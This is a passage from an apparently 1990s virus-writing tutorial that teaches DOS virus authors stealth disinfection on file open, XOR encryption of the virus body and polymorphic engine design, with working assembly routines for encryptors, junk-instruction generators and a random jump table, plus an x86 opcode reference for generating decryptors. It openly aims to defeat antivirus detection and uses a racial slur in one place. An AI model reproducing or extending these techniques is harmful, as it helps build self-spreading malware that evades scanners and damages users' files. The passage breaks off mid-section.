AX=6C00h. 1. The file name is in DS:DX in AH=3Dh, and in DS:SI in AX=6C00h 2. The open mode is in AL in AH=3Dh, and in BL in AX=6C00h So we need to make a routine for fix the access with the 6C00h function. It probably will look like this: Disinfect: cmp ax,6C00h jne Check cmp dx,1 jne ExitDisinfection mov al,bl ; Open mode in AL mov dx,si ; File name is now in DS:DX Check: mov ax,5700h int 21h ; If we've hooked this function, ; we need to make a fake call! ( or ; use SFTs! ) and cl,1Fh ; Unmask seconds or cl,1Eh ; Is it 60? jnz NotInfected [...] The disinfection way is a routine that you must to do. It can't be as gene- ral as FCB stealth, because you can choose between a lot of things. Ok, i'm gonna explain at least how it works. þ Disinfection of COM files: The disinfection of COM files is very easy. We need to restore the first bytes we've changed on infection by the original ones ( ussually 3 bytes ), restore the original time/date of the file, and remove the virus body ( trun cating the file at offset "end of file - virus size" ). þ Disinfection of EXE files: This is a little bit more hard to do, but not to understand :) We need to restore the original header of the file, restore the time/date and remove the virus body at the end of the file. But the problem comes when our virus is encrypted. You have to choose between leave this bytes unencry- pted ( giving to the AVs the way to disinfect our virus ) or decrypt this bytes. Anyway, it's very simple. % Win9X stealth compatibility % ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Well, we must take care that in Win9X enviroments (Win95, Win98) the usual FCB or Handle stealth doesn't work properly. Simply check for function 714Eh (FindFirst for Long File Names) and 714Fh (FindNext for LFN). % Last words about stealth % ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ There're more stealth methods, like 4202 stealth, sector stealth... but i've explained da most simple and used ones. And, BTW, we don't need 4202 stealth if we use SFT stealth :) Probably the worst thing in some kinds of stealth is the uncompatibilities with some software, that can fuck our need to be hidden. After reading this, you would wonder why "Is stealth useful ?". The answer is a great YES. This is one of the best methods for conceal the possible infection to the user: the files seem to have the same size than before the infection, when an AV is executed and we have a disinfection routine, this AV won't detect anything ( the same for those niggas that waste their time using an HEX editor in order to see if something's wrong ), and a lot of more things. The best you can do is deactivate stealth when a program like CHKDSK, or PKZIP. All this in yer hands... ÄÄÄ´ Encryption ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Encryption techniques are really old, but they're still effective, and very used. Problably is one of da things that survived many years in concept, but with continuous improvements like polymorphism, metamorphism, and such like. Our target is to hide all our text strings, suspicious opcodes, and all our stuff of the user eyes. We can do it with a simple math operation, applied to all bytes of our virus body. For example, we can increase by one all the bytes of our virus, and we can see that there isn't a readable text string or something in our virus :) The structure of an encrypted virus is like this: ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ It's very simple. There's Úij Call to decryptor ³ a call to the decryptor, ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ÄÄÄ¿ when the decryptor ends ³ ³ ³ ³ its job, it gives the ³ ³ ³ ³ control to the virus, and ³ ³ Infected file ³ ³ when the virus ends its ³ ³ ³ ³ execution, the control is ³ ³ ³ ³ returned to the original ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´Ä¿ ³ program. ³ ³ ³ ³ ³ ³ ³ Virus body ³ ³ ³ ³ ³ ³ ³ ³ ÀÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ÄÄÄÄÙ ³ Decryptor ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙÄÄÙ There is a math operation that gives us one advantage. We can use the same procedure to encrypt and decrypt our code. Of course we're talking about XOR, the most used instruction for decryptors. There're two more instructi- ons that can be used for our purposes of using the same procedure for en- crypt and decrypt: NOT and NEG. The most used of this two is the first one. Of course, we can use a lot of more instructions for encryption. I'll show you a little list of instuctions we can use: INC/DEC, ADD/SUB, ROL/ROR, XOR, NOT, MUL/DIV, ADC/SBB, etc... The simplest way for encrypt our virus is to use a routine like this: encryption: mov cx,encrypt_size ; encrypt_end-encrypt_start mov di,[bp+encrypt_begin] ; From where mov si,di ; For lodsb/stosb mov ah,key ; Value for XOR. Subst key with whate ; ver you want encryption_loop: lodsb ; Move a byte from DS:SI to AL xor al,ah stosb ; Move a byte from AL to ES:DI loop encryption_loop ret This procedure is really poor. It only have 255 posibilities because we're working with a 8-byte register as key ( AL ). Of course this is the simplest way. We must take note of some things: - If we use a routine like this, and we haven't a second copy of our virus in memory ( i will talk about it in this same article ), when using this routine we must left unencrypted the procedure that copies ( and call to encrypt procedure too ) virus to the victim. - We must take care of the virus state in its first generation: it's unenc- rypted. Using xor, we can use the value of 00 to make this, in the first generation, and make a procedure that changes this value in the code, or si- mply avoid the execution of the encryption routine in the first generation. Now, we'll see how is the above encryption procedure when using a 16-byte encryption as the key: encryption: mov cx,(encrypt_size+1)/2 ; encrypt_end-encrypt_start/2 mov di,[bp+encrypt_begin] ; From where mov si,di ; For lodsw/stosw mov dx,key ; Value for XOR. Subst key with whate ; ver you want encryption_loop: lodsw ; Move a word from DS:SI to AX xor ax,dx stosw ; Move a word from AX to ES:DI loop encryption_loop ret The problem is: if we left the copy and encryption procedures unencrypted... what will AV do? They have in our hard worked virus ( yes, yes, the same in what we spend a lot of weeks of work trying to make it anti-heuristic, stealth, with a lot of cool tricks, a new and wonderful stuff...) a scan string enough big for add it to their AV. In 5 minutes they implemented in their AV the way for detect our virus. Argh! A VXer spends days in create a decent virus, and because he used a simple encryptor like this, in 5 minutes our enemies have the way for detect us! This world is really a shit! :( But, the VXers never surrender, so... We need to make the decryptor as small as possible. Ain't enough. In the next chapter you'll have the best possible answer :) How we can have a second copy of our virus in memory? It's very simple. After the label that marks the last byte that the virus will copy, we can have something like this: virus_end label byte ; The label that marks end of virus enc_buffer db (offset virus_end-offset virus_start) dup (090h) The enc_buffer variable will only have code in the first generation. When we spread the virus, this variable won't be copied within it. But we can use its offset for have a second copy of our virus there. What we can do is... - When we copy our virus to memory ( in a TSR one ), we make this another time, and when we're putting in the code the EXE header, or the first bytes of the COM, we put them in the same offset where this variables will go shifted by virus size. Ok, i'll explain it better. Imagine we have something like: mov ah,3Fh mov cx,4 lea dx,old3bytes int 21h Ok. Then, if we have the second copy of the virus in memory, we must subst the third line for something like: lea dx,virus_size+old3bytes The best way is to experiment with it... - Or we can copy the virus body just before the appending: we have all the variables set. The movement will be like this: mov cx,virus_size xor si,si mov di,offset virus_begin rep movsb We encrypt it, append this second copy and... that's all folks! ÄÄÄ´ Polymorphism ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ This is one of the most interesting things in a virus. It's also very funny to code a PER ( Polymorphic Encryption Routine ), and it shows clearly how is the " style " of the VXer that coded it. It's also the thing that all beginners think that is very hard to do, and only the experimented VXers can do it. DON'T THINK IT! It's very simple. Don't be afraid. If you've arrived till here alive, i'm sure you'll understand ALL. This chapter is an extensi- on of the ENCRYPTION chapter. Our objective doing a PER is the neverending one in the VX world : defeat AVs by minimizing the scan string of our viruses, aka FUCK'EM ALL! :) The concept is to generate different decryptors for each infection, so the AVs will suck in order to detect our virus. And this technique, with STEALTH ARMOURING, ANTI-HEURISTICS and ANTI-BAITS can make yer viruses very powerful Ok, let's begin with the interesting stuff. % History % ÄÄÄÄÄÄÄÄÄÄÄ Da first attempts to make a PER were made by a bulgarian coder, probably one of the bests virus creators ever, called Dark Avenger. His viruses were, are and will be a touch stone for all VXers. From his first viruses, like Eddie, he showed a great quality for coding. But the best stuff came with the release of the MtE ( Mutation Engine ), the first good PER in the VX history All AV researchers went mad in order to find a scan string for the viruses based in this engine. After a lot of hard word ( ??? ) in the AV side they found a reliable scan string for catch MtE. But it was just the beginning. Masud Khafir, member of the TridenT virus research group, developed TPE, Dark Angel of Phalcon Skism developed DAME ( Dark Angel Multiple Encryptor ) and many other virus researchers made other cool engines. When we're talking about the polymorphic engines, we must think that this technique was made in 1992, a long time ago. The had only to fight againist scan strings, and this today, is very easy. But nowadays, the polymorphic engines have a lot of enemies: code analizers, emulators, tracers, heuristics, and experienced AVs figthing againist us. Firstly, VXers thought that da best option for our decryptors was to make it as variable as they can. But the time have demonstrated that it was a wrong idea: AVers will infect THOUSAND of baits, in order to see all possible de- cryptors the PER can generate. If we show them a very little portion of our possible decryptors ( by using date for generate random, for example ) we're fucking their needs. They have a scan string, but in another computer, in another situation, this scan string won't work. This is called SLOW poly. We'll see this in another place at this same chapter. % Introduction % ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ A polymorphic engine is da most personal thing a coder can do. At this point i must say to you that use the polymorphy of another coder isn't as good idea as it appear to be. It's very easy to code a decent PER, but if you use one of another coder, you'll be limited when coding your virus. We need to generate a decryptor, also placing junk among the real decryption opcodes, with fake jumps, calls, antidebugging, and all we want to... Let's see what we must put for make our PER decent... - Generate many ways to reach the same point - Changing the order of the opcodes that we can. - Can be used in another viruses - Can generate calls to do nothing INT 21h functions - Can generate calls to do nothing interrupts - If we want, we can make it slow poly - Minimize all possible scan strings - Protect the instruction generator with armour, and make it very hard to disassemble. When you're doing a PER, the imagination is a very good weapon. Use it for generate as many original things as you can. % The first steps in polymorphism % ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ The easiest way to make a decryptor that changes every virus generation is create a junk generator, and then put some decryptor instructions followed by do-nothing instructions. This is the first attempt you can do if you haven't created an engine. The first kind of junk are the one byters, those simple instructions that generally we use. We must choose before do nothing, all the junk registers. I ussually use AX, BX and DX. Let's see a little table of one byters: OneByteTable: db 09Eh ; sahf db 090h ; nop db 0F8h ; clc db 0F9h ; stc db 0F5h ; cmc db 09Fh ; lahf db 0CCh ; int 3h db 048h ; dec ax db 04Bh ; dec bx db 04Ah ; dec dx db 040h ; inc ax db 043h ; inc bx db 042h ; inc dx db 098h ; cbw db 099h ; cwd EndOneByteTable: With a simple routine that places real intructions, and other that places junk, we have a very simple polymorphic engine. It's useful for our first steps, but if you're coding a good virus, u must know one thing... if there are a lot of do-nothing instructions like this, be sure AV will show a flag. Erhm... how we can get one of this instructions? Preety simple: GenerateOneByteJunk: lea si,OneByteTable ; Offset of the table call random ; Must generate random numbers and ax,014h ; AX must be within 0 and 14 ( 15 ) add si,ax ; Add AX ( AL ) to the offset mov al,[si] ; Put selected opcode in al stosb ; And store it in ES:DI ( points to ; the decryptor instructions ) ret And, of course, we need a random number generator. Here you have da simplest one: Random: in ax,40h ; This will generate a random number in al,40h ; in AX ret With da above routines, that we can do is a very bad engine. Our targets are anothers, so pay attention to the next parts of this chapter. % Some ways to make a simple operation % ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ There are nearly infinite ( not at all... just milions of possibilities ) :) ways to perform a simple instuction task. Let's imagine a " mov dx,1234h ", without using another register: mov dx,1234h push 1234h pop dx mov dx,1234h xor 5678h xor dx,5678h mov dh,12h mov dl,34h xor dx,dx or dx,1234h mov dx,not 1234h not dx [...] And we can do more and more combinations. And of course, if we use another register for perform our task, the possibilities increases a lot. % Changing instruction order % ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ There are a lot of instructions that we can code in the order we want. And this, combinated with the ways to perform a simple instructions, can make our polymorphic engine really powerful. Ussually, about all da instructions before the decryption loop can be placed in any order, except all the PUSH/POP combinations, and the related stuff. We are talking about this instuctions that don't depend of another for make its job. Let's see an example: mov cx,encrypt_size mov si,encrypt_begin mov di,encrypt_key We can put this instructions in the order we want, a random order :) It will do the same stuff if it looks like: mov di,encrypt_key mov cx,encrypt_size mov si,encrypt_begin And in this way, all the possible combinations. % Portability % ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ It's quite easy to do a portable polymorphic engine. All we must do is to make our PER use parameters. For example, we can use CX for handle the size to encrypt, DS:DX point to da code to encrypt, and else. So, in this way, we can use our engine in the virus we want. % Tables againist Blocks % ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ þ Table based PER: The spirit of this kinda engine types it to have all the offsets of the rou- thines that generate junk ( one byters, fake int calls, math ops... ) in another table. Then, with a random value, we call to one of this offsets, and generate a random junk. Let's see an example: RandomJunk: call Random ; Random number in AX and ax,(EndRandomJunkTable-RandomJunkTable)/2 add ax,ax ; AX*2 xchg si,ax add si,offset RandomJunkTable ; Point to table lodsw call ax ; Call to random table offset ret RandomJunkTable: dw offset GenerateOneByteJunk dw offset GenerateMovRegImm dw offset GenerateMovRegMem dw offset GenerateMathOp dw offset GenerateArmour dw offset GenerateCalls dw offset GenerateJumps dw offset GenerateINTs [...] EndRandomJunkTable: It's very easy to add new routines to a table based PER, and this kinda engines can be very optimized ( depending of coder ). þ Block based PER: Our objective is to make, for each instruction of the decryptor, some blocks of a fixed size. We've one example of this kinda engine in the Elvira virus, by Spanska, published in 29A#2. Let's see an example of one of the blocks in the Elvira engine, the one used for compare CX with 0. Each block has a defined size ( 6 bytes ). cmp cx, 0 nop nop nop nop nop nop cmp cx, 0 nop or cx, cx nop nop nop nop nop nop or cx, cx nop test cx, 0FFFFh nop nop or cl, cl jne suite_or or ch, ch suite_or: mov bx, cx inc bx cmp bx, 1 inc cx cmp cx, 1 dec cx nop dec cx cmp cx, 0FFFFh inc cx nop Ass you can see, it's more easy to add new blocks to do the same task. But this kinda engines have one weak point: the size. The Elvira's engine sucks about the half size of the virus: 4250 bytes is the virus size, engine sucks 2000-2500 bytes of da virus. The good thing is that with adding more blocks, we can create new strains for the virus, and make it still undetectable by AVers :) þ And the winner is.... I think tables are the solution, because we can generate all the possible combinations of blocks, and more. The blocks are the solution for all da ppl that don't want to make their lifes a living hell :) % Instructions % ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Here is the base of all polymorphic engines, da way to generate instructions with random registers, values, memory positions... þ Notations: Symbol Explanation ÄÄÄÄÄÙ ÄÄÄÄÄÄÄÄÄÄÙ imm8 byte immediate operand imm16 word immediate operand reg8 byte register operand reg16 word register operand mem8 byte memory operand mem16 word memory operand regmem8 byte reg/mem operand regmem16 word reg/mem operand d8 byte memory offset displacement d16 word memory offset displacement sig8 byte signed operand sig16 word signed operand sig32 offset:segment operand ^0,^1, etc Reg field of the RegInfo byte contains this num as Op. info RegInfoByte needs the below fields reg a code that keeps the register to be used sreg a code that keeps the segment register r/m how is the instruction made ( based, indexed, two regs... ) mod who makes the indexing ( DI, BP... ) dir the direction w word mark OpCode skeleton ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ 8 bits 2 3 3 8 or 16 bits 8 or 16 bits ³ ³ ÉÍÍÍÍÍÍÍÍÍÍÍÍÍ» ÉÍÍÍÍÍÑÍÍÍÍÍÑÍÍÍÍÍ» ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ³ ³ º Instruction º º MOD ³ REG ³ R/M º º Displacement º º Data º ³ ³ ÈÍÍÍÍÍÍÍÍÍÍÍÍͼ ÈÍÍÍÍÍÏÍÍÍÍÍÏÍÍÍÍͼ ÈÍÍÍÍÍÍÍÍÍÍÍÍÍͼ ÈÍÍÍÍÍÍÍÍÍÍÍÍÍͼ ³ ³ 1 byte 1 byte 1 or 2 bytes 1 or 2 bytes ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ Reg field ÄÄÄÄÄÄÄÄÙ Reg value  00 01 02 03 04 05 06 07         Byte registers  AL CL DL BL AH CH DH BH Word registers  AX CX DX BX SP BP SI DI Extended regs  EAX ECX EDX EBX ESP EBP ESI EDI How we can know if the register is byte or word? Easy, with the w byte. If it's set to 1 it's a word, and if it's 0, we're talking about a byte reg. Sreg field ÄÄÄÄÄÄÄÄÄÙ Sreg value  01 03 05 07     Segment  ES CS SS DS R/M field and Mod field ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ R/M value  00 Mod  000  [BX+SI] 001  [BX+DI] 010  [BP+SI] 011  [BP+DI] 100  [SI] 101  [DI] 110  d16 111  [BX] R/M value  01 Mod  000  [BX+SI+d8] 001  [BX+DI+d8] 010  [BP+SI+d8] 011  [BP+DI+d8] 100  [SI+d8] 101  [DI+d8] 110  [BP+d8] 111  [BX+d8] R/M value  10 Mod  000  [BX+SI+d16] 001  [BX+DI+d16] 010  [BP+SI+d16] 011  [BP+DI+d16] 100  [SI+d16] 101  [DI+d16] 110  [BP+d16] 111  [BX+d16] R/M value  11 Mod Byte Word    000  AL AX 001  CL CX 010  DL DX 011  BL BX 100  AH SP 101  CH BP 110  DH SI 111  BH DI Direction field ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ If it's 0, the movement goes from reg to mod, and if it's 1, vice-versa, but please note that TBSCAN will trigger a flag if a instruction goes with dir. field at 0, coz this can never be generated by an assembler. þ OpCodes: ÚÄÄÄÄÄÄÄ¿ ³ MOV ³ ÀÄÄÄÄÄÄÄÙ This instruction is the most used so far in assembly. It's also the one that has more ways to code. BEWARE! It has some optimized variants, as you can see, for AL/AX. You must make da code for this registers just like an assem- bler program does, if not, the heuristic analyzers will fuck yer code! MOV reg8,imm8  B0+RegByte imm8 MOV reg16,imm16  B8+RegWord imm16 MOV AL,mem8  A0 mem8 MOV AX,mem16  A1 mem16 MOV mem8,AL  A2 mem8 MOV mem16,AX  A3 mem16 MOV reg8,regmem8  8A RegInfoByte MOV reg16,regmem16  8B RegInfoByte MOV regmem8,reg8  88 RegInfoByte MOV regmem16,reg16  89 RegInfoByte MOV regmem8,imm8  C6 ^0 MOV regmem16,imm16  C7 ^0 MOV reg16,segmentreg  8C RegInfoByte MOV segmentreg,reg16  8E RegInfoByte ÚÄÄÄÄÄÄÄÄ¿ ³ XCHG ³ ÀÄÄÄÄÄÄÄÄÙ As in MOV instruction, this OpCode is optimized for use AX. XCHG AX,reg16  90+RegWord XCHG reg8,regmem8  86 RegInfoByte XCHG regmem8,reg8  86 RegInfoByte XCHG reg16,regmem16  87 RegInfoByte XCHG regmem16,reg16  87 RegInfoByte ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ Segment Overrides ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ This aren't full instructions. They are prefixes, so this OpCodes must be placed before the instruction. SEGCS  2E SEGDS  3E SEGES  26 SEGSS  36 ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ Stack Operations ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ This instructions are used for get/put/manipulate values in/to/from stack. PUSH reg16  50+RegWord PUSH regmem16  FF ^6 PUSH imm8  6A imm8 PUSH imm16  68 imm16 PUSH CS  0E PUSH DS  1E PUSH ES  06 PUSH SS  16 PUSHA  60 PUSHF  9C POP reg16  58+RegWord POP regmem16  8F ^0 imm16 POP DS  1F POP ES  07 POP SS  17 POPA  61 POPF  9D ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ Flag Operations ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ All these instructions are one-byters, so, they're really good for garbage generators, but caution with some instructions like STD and STI. CLI  FA STI  FB CLD  FC STD  FD CLC  F8 STC  F9 CMC  F5 SAHF  9E LAHF  9F Logical instructions ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÚÄÄÄÄÄÄÄ¿ ³ XOR ³ ÀÄÄÄÄÄÄÄÙ XOR AL,imm8  34 imm8 XOR AX,imm16  35 imm16 XOR reg8,regmem8  32 RegInfoByte XOR reg16,regmem16  33 RegInfoByte XOR regmem8,reg8  30 RegInfoByte XOR regmem16,reg16  31 RegInfoByte XOR regmem8,imm8  80 ^6 imm8 XOR regmem16,imm8  83 ^6 imm8 XOR regmem16,imm16  81 ^6 imm16 ÚÄÄÄÄÄÄ¿ ³ OR ³ ÀÄÄÄÄÄÄÙ OR AL,imm8  0C imm8 OR AX,imm16  0D imm16 OR reg8,regmem8  0A RegInfoByte OR reg16,regmem16  0B RegInfoByte OR regmem8,reg8  08 RegInfoByte OR regmem16,reg16  09 RegInfoByte OR regmem8,imm8  80 ^1 imm8 OR regmem16,imm8  83 ^1 imm8 OR regmem16,imm16  81 ^1 imm16 ÚÄÄÄÄÄÄÄ¿ ³ AND ³ ÀÄÄÄÄÄÄÄÙ AND AL,imm8  24 imm8 AND AX,imm16  25 imm16 AND reg8,regmem8  22 RegInfoByte AND reg16,regmem16  23 RegInfoByte AND regmem8,reg8  20 RegInfoByte AND regmem16,reg16  21 RegInfoByte AND regmem8,imm8  80 ^4 imm8 AND regmem16,imm8  83 ^4 imm8 AND regmem16,imm16  81 ^4 imm16 ÚÄÄÄÄÄÄÄ¿ ³ NOT ³ ÀÄÄÄÄÄÄÄÙ NOT regmem8  F6 ^2 NOT regmem16  F7 ^2 ÚÄÄÄÄÄÄÄ¿ ³ NEG ³ ÀÄÄÄÄÄÄÄÙ NEG regmem8  F6 ^3 NEG regmem16  F7 ^3 ÚÄÄÄÄÄÄÄÄ¿ ³ TEST ³ ÀÄÄÄÄÄÄÄÄÙ TEST AL,imm8  A8 imm8 TEST AL,imm16  A9 imm16 TEST regmem8,reg8  84 RegInfoByte TEST regmem16,reg16  85 RegInfoByte TEST regmem8,imm8  F6 ^0 imm8 TEST regmem16,imm16  F7 ^0 imm16 ÚÄÄÄÄÄÄÄ¿ ³ CMP ³ ÀÄÄÄÄÄÄÄÙ CMP AL,imm8  3C imm8 CMP AX,imm16  3D imm16 CMP reg8,regmem8  3A RegInfoByte CMP reg16,regmem16  3B RegInfoByte CMP regmem8,reg8  38 RegInfoByte CMP regmem16,reg16  39 RegInfoByte CMP regmem8,imm8  80 ^7 imm8 CMP regmem16,imm8  83 ^7 imm8 CMP regmem16,imm16  81 ^7 imm16 Arithmetic instructions ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÚÄÄÄÄÄÄÄ¿ ³ ADD ³ ÀÄÄÄÄÄÄÄÙ ADD AL,imm8  04 imm8 ADD AX,imm16  05 imm16 ADD reg8,regmem8  02 RegInfoByte ADD reg16,rm16  03 RegInfoByte ADD regmem8,reg8  00 RegInfoByte ADD regmem16,reg16  01 RegInfoByte ADD regmem8,imm8  80 ^0 imm8 ADD regmem16,imm8  83 ^0 imm8 ADD regmem16,imm16  81 ^0 imm16 ÚÄÄÄÄÄÄÄ¿ ³ SUB ³ ÀÄÄÄÄÄÄÄÙ SUB AL,imm8  2C imm8 SUB AX,imm16  2D imm16 SUB reg8,regmem8  2A RegInfoByte SUB reg16,regmem16  2B RegInfoByte SUB regmem8,reg8  28 RegInfoByte SUB regmem16,reg16  29 RegInfoByte SUB regmem8,imm8  80 ^5 imm8 SUB regmem16,imm8  83 ^5 imm8 SUB regmem16,imm16  81 ^5 imm16 ÚÄÄÄÄÄÄÄ¿ ³ ADC ³ ÀÄÄÄÄÄÄÄÙ ADC AL,imm8  14 imm8 ADC AX,imm16  15 imm16 ADC reg8,regmem8  12 RegInfoByte ADC reg16,regmem16  13 RegInfoByte ADC regmem8,reg8  10 RegInfoByte ADC regmem16,reg16  11 RegInfoByte ADC regmem8,imm8  80 ^2 imm8 ADC regmem16,imm8  83 ^2 imm8 ADC regmem16,imm16  81 ^2 imm16 ÚÄÄÄÄÄÄÄ¿ ³ SBB ³ ÀÄÄÄÄÄÄÄÙ SBB AL,imm8  1C ib SBB AX,imm16  1D iw SBB reg8,regmem8  1A RegInfoByte SBB reg16,regmem16  1B RegInfoByte SBB regmem8,reg8  18 RegInfoByte SBB regmem16,reg16  19 RegInfoByte SBB regmem8,imm8  80 ^3 imm8 SBB regmem16,imm8  83 ^3 imm8 SBB regmem16,imm16  81 ^3 imm16 ÚÄÄÄÄÄÄÄ¿ ³ INC ³ ÀÄÄÄÄÄÄÄÙ INC reg16  40+RegWord INC regmem8  FE ^0 INC regmem16  FF ^0 ÚÄÄÄÄÄÄÄ¿ ³ DEC ³ ÀÄÄÄÄÄÄÄÙ DEC reg16  48+RegWord DEC regmem8  FE ^1 DEC regmem16  FF ^1 ÚÄÄÄÄÄÄÄ¿ ³ MUL ³ ÀÄÄÄÄÄÄÄÙ MUL regmem8  F6 ^4 MUL regmem16  F7 ^4 ÚÄÄÄÄÄÄÄ¿ ³ DIV ³ ÀÄÄÄÄÄÄÄÙ DIV regmem8  F6 ^6 DIV regmem16  F7 ^6 ÚÄÄÄÄÄÄÄÄ¿ ³ IMUL ³ ÀÄÄÄÄÄÄÄÄÙ IMUL regmem8  F6 ^5 IMUL regmem16  F7 ^5 IMUL reg16,regmem16,imm16  69 imm16 IMUL reg16,regmem16,imm8  6B imm8 ÚÄÄÄÄÄÄÄÄ¿ ³ IDIV ³ ÀÄÄÄÄÄÄÄÄÙ IDIV regmem8  F6 ^7 IDIV regmem16  F7 ^7 Shifting instructions ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÚÄÄÄÄÄÄÄ¿ ³ SHL ³ ÀÄÄÄÄÄÄÄÙ SHL regmem8,1  D0 ^4 SHL regmem16,1  D1 ^4 SHL regmem8,CL  D2 ^4 SHL regmem16,CL  D3 ^4 SHL regmem8,imm8  C0 ^4 imm8 SHL regmem16,imm8  C1 ^4 imm8 ÚÄÄÄÄÄÄÄ¿ ³ SHR ³ ÀÄÄÄÄÄÄÄÙ SHR regmem8,1  D0 ^5 SHR regmem16,1  D1 ^5 SHR regmem8,CL  D2 ^5 SHR regmem16,CL  D3 ^5 SHR regmem8,imm8  C0 ^5 imm8 SHR regmem16,imm8  C1 ^5 imm8 ÚÄÄÄÄÄÄÄ¿ ³ SAL ³ ÀÄÄÄÄÄÄÄÙ SAL regmem8,1  D0 ^4 SAL regmem16,1  D1 ^4 SAL regmem8,CL  D2 ^4 SAL regmem16,CL  D3 ^4 SAL regmem8,imm8  C0 ^4 imm8 SAL regmem16,imm8  C1 ^4 imm8 ÚÄÄÄÄÄÄÄ¿ ³ SAR ³ ÀÄÄÄÄÄÄÄÙ SAR regmem8,1  D0 ^7 SAR regmem16,1  D1 ^7 SAR regmem8,CL  D2 ^7 SAR regmem16,CL  D3 ^7 SAR regmem8,imm8  C0 ^7 imm8 SAR regmem16,imm8  C1 ^7 imm8 ÚÄÄÄÄÄÄÄ¿ ³ ROL ³ ÀÄÄÄÄÄÄÄÙ ROL regmem8,1  D0 ^0 ROL regmem16,1  D1 ^0 ROL regmem8,CL  D2 ^0 ROL regmem16,CL  D3 ^0 ROL regmem8,imm8  C0 ^0 imm8 ROL regmem16,imm8  C1 ^0 imm8 ÚÄÄÄÄÄÄÄ¿ ³ ROR ³ ÀÄÄÄÄÄÄÄÙ ROR regmem8,1  D0 ^1 ROR regmem16,1  D1 ^1 ROR regmem8,CL  D2 ^1 ROR regmem16,CL  D3 ^1 ROR regmem8,imm8  C0 ^1 imm8 ROR regmem16,imm8  C1 ^1 imm8 ÚÄÄÄÄÄÄÄ¿ ³ RCL ³ ÀÄÄÄÄÄÄÄÙ RCL regmem8,1  D0 ^2 RCL regmem16,1  D1 ^2 RCL regmem8,CL  D2 ^2 RCL regmem16,CL  D3 ^2 RCL regmem8,imm8  C0 ^2 imm8 RCL regmem16,imm8  C1 ^2 imm8 ÚÄÄÄÄÄÄÄ¿ ³ RCR ³ ÀÄÄÄÄÄÄÄÙ RCR regmem8,1  D0 ^3 RCR regmem16,1  D1 ^3 RCR regmem8,CL  D2 ^3 RCR regmem16,CL  D3 ^3 RCR regmem8,imm8  C0 ^3 imm8 RCR regmem16,imm8  C1 ^3 imm8 Jumps, Calls and Rets ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ I must talk a little bit at this point about an interesting thing for you. The jump offsets are calculated from da byte next to the whole jump instruc- tion, for example, if we've a E9 00 00 ( JUMP NEAR ) we're jumping directly to the next instruction, the instruction that is just after the jump. So, looking this, we can know that a JMP 0001 will jump over 1 byte after the jump. But... What happens if we want to jump downwards? Preety simple. If we make a JMP FFFF, we're jumping to the data, and it'll hang sure. We can use this formula, where the X is the final result, and X' help us to make our calculations. X' = jump address - destination address + 2 X = NEG X' ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ 